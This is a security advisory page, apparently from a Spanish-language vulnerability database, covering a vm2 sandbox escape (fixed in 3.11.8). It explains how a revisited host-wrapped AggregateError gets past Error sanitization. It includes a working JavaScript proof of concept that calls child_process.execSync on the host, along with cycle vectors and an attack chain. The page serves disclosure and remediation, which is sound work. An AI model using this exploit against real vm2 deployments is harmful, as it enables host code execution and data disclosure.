Crítica

vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit

  • Publicada: 05.10.2026
  • Actualizado: 11.10.2026 10:22

Summary

vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.

Root Cause

handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].

Impact

Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.

Proof of Concept

js
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
  const shared = new AggregateError([], 'shared');
  shared.leak = process;                                  // incidental host ref
  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
  try { hostThrow(); } catch (e) {
    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
  }`));                                                   // -> uid=1000(...) host RCE

Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.

Attack Chain

  1. Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope.
  2. Caught-exception sanitizer — sandbox try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live.
  3. Sink — e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu)....
  4. Impact — host RCE with host privileges; also process.env/.pid disclosure.

Bypass Evidence

Executed on node v22.23, vm2 3.11.6:

  • Baseline vector throw new Error('x',{cause:process}) (plain Error .cause) → BLOCKED
  • Plain Error own-prop e.leak=process (non-cyclic) → BLOCKED
  • Non-cyclic host AggregateError w/ own-prop or single host sub-error leak → BLOCKED
  • AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (uid=1000(ubuntu)…)

Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….

Affected Versions

<= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).

Scope Note

This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.

Suggested Fix

On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.


Reported by zx (Jace) — GitHub: @manus-use

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm vm2 < 3.11.8 3.11.8

Referencias

Puntuación CVSS 9/10
Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-693
Plataforma
npm
Paquete
vm2
Publicada
05.10.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-x965-fc75-jpqh - CC BY 4.0

Historial de vulnerabilidades: vm2

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (78) en el archivo
Entradas en total
78
Primera → última
10.2021 10.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 51
  • Alta 14
  • Media 12
  • Baja 1

Divulgaciones por año

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Gravedad:
  1. Crítica · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Crítica · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Crítica · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit esta entrada
    Crítica · 9.0 CVE-2026-92934 < 3.11.8 3.11.8
  5. Crítica · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  6. Crítica · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  7. Crítica · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  8. Crítica · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Crítica · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
Mostrar más (20) Mostrando 20 de 65

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.